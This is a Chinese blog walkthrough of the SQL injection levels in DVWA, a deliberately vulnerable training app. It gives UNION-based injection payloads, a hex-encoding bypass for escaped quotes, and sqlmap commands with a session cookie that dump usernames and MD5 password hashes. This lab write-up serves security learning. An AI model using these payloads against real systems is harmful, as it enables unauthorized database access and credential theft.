DVWA通关笔记

本文详细记录了在DVWA(DamnVulnerableWebApplication)中进行SQL注入的过程,包括识别注入点,判断列数和回显位置,查询数据库名、表名和列名,以及利用SQLMAP工具进行自动化攻击。在LOW级别,通过URL参数发现并利用SQL注入漏洞,而在MEDIUM级别,需要绕过转义和使用POST请求进行注入。
摘要由CSDN通过智能技术生成

DVWA通关笔记(一)

SQL Injection

LOW

1.寻找注入点
?uid=1'

----------------页面报错

?uid=1’ --+ 

------------------页面正常

则为单引号闭合

2.判断列数
?uid=1' order by 3--+

--------------------------页面报错

?uid=1' order by 2--+

--------------------------页面正常

则有2列

3.判断回显显示位置

?uid=-1' union select 1,2 --+ 

----------------------执行失败

​ **原因:**提示缺少一个单引号闭合,在最末尾添加一个单引号即可

​ 关于SQL注入的注释符问题:

​ --a,–空格,–+,#,–%20,%23,末尾引号闭合

​ +在sql中被认为是空格的意思,等同于–空格

​ 注意:区别直接在URL中输入–+和在提交框中输入–+!URL中的–+可以被解析,#不行,提交框中直接使用#

​ 提交框是POST请求!URL是GET请求

?uid=-1' union select 1,2# 

-----------------------执行成功

有两个回显位

4.查询数据库名字
uid=-1' union select database(),version() #

------------------------------执行成功

数据库名字为dvwa

版本为5.7.26

5.查询dvwa库中的所有表
uid=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

报错:Illegal mix of collations for operation ‘UNION’

解决方法:

参考https://blog.csdn.net/qq_43665434/article/details/114088565

在mysql中:

use dvwa;
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;

修改后上述命令就可以成功执行了。

查询到的表格:guestbook,users

6.查询users表中的列名
uid=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' # 

---------------------------------执行成功

查询到的列:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.查询user,password信息
uid=-1' union select group_concat(user),group_concat(password) from dvwa.users #

仍旧可能出现Illegal mix of collations for operation 'UNION’的报错,可以直接将phpstudy中的mysql设置为8.0版本

查询到的数据:

user:admin,gordonb,1337,pablo,smithy

password:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

password采用md5解密即可

8.SQLMAP注入

sqlmap -u “链接” (注意!连接中是?id=1,不用故意写错)

出现了302重定向,返回了登录页面--------------------添加cookie解决

登录后抓包,提取数据包中的cookie信息

再在sqlmap中写入

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="提取到的cookie" --batch(自动选择)

成功得到payload

获取数据库名字:

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch --dbs

获取dvwa中的表名:

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa --tables

获取users表中的列:

sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa -T users --columns

获取user,password这两列的信息:

sqlmap -u"链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx"  --batch -D dvwa -T users -C user,password --dump(显示数据)

MEDIUM

1.寻找注入点
该关页面上没有明确的注入点(没有URL,表单提交)

打开页面后此时只有几个选项和提交按钮,为了寻找到注入点,我们可以使用burpsuite

点击提交后发现抓到的数据包请求类型为POST 且请求中有id=1,尝试修改为id=1’ ------------------------------页面报错

id=1' # 

--------------------报错

各种尝试后,发现为数字型注入,即不使用符号对数字进行闭合

2.判断列数
id=1 order by 3 # 

-------------------------页面报错

id=1 order by 2 #

-------------------------页面正常

列数为2

3.判断回显位
id=-1 union select 1,2 # 

--------------------页面正常

两个都是回显位

4.查询数据库名字
id=-1 union select 1,database() # 

--------------页面正常

数据库名字为dvwa

5.查询dvwa库中的表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

页面报错,原因:

该关的单引号被转义,无法使用

法一:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

法二:十六进制绕过

在线转换器:http://tool.huixiang360.com/str/hex.php

将dvwa转换为64767761(注意dvwa不用加引号)

在burp中写为0x64767761

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#

-------------------------执行成功

6.查询users中的列名

table_name='users’同理,将users转化为16进制

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

执行成功

7.查询users中user,password信息
 id=-1 union select user, password from users#

------------------执行成功

8.SQLMAP注入

因为无法直接在url中注入,也没有表单提交,只能将burp中抓到的包保存在sqlmap同一目录下的txt文件中。

sqlmap.py -r 文件根路径 --batch
……

HIGH

该关点击链接实现跳转,防御了SQLMAP注入,手工注入步骤和之前相同
sqlmap实现注入待补充

新手小白 部分内容可能过于绝对 不是很严谨

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值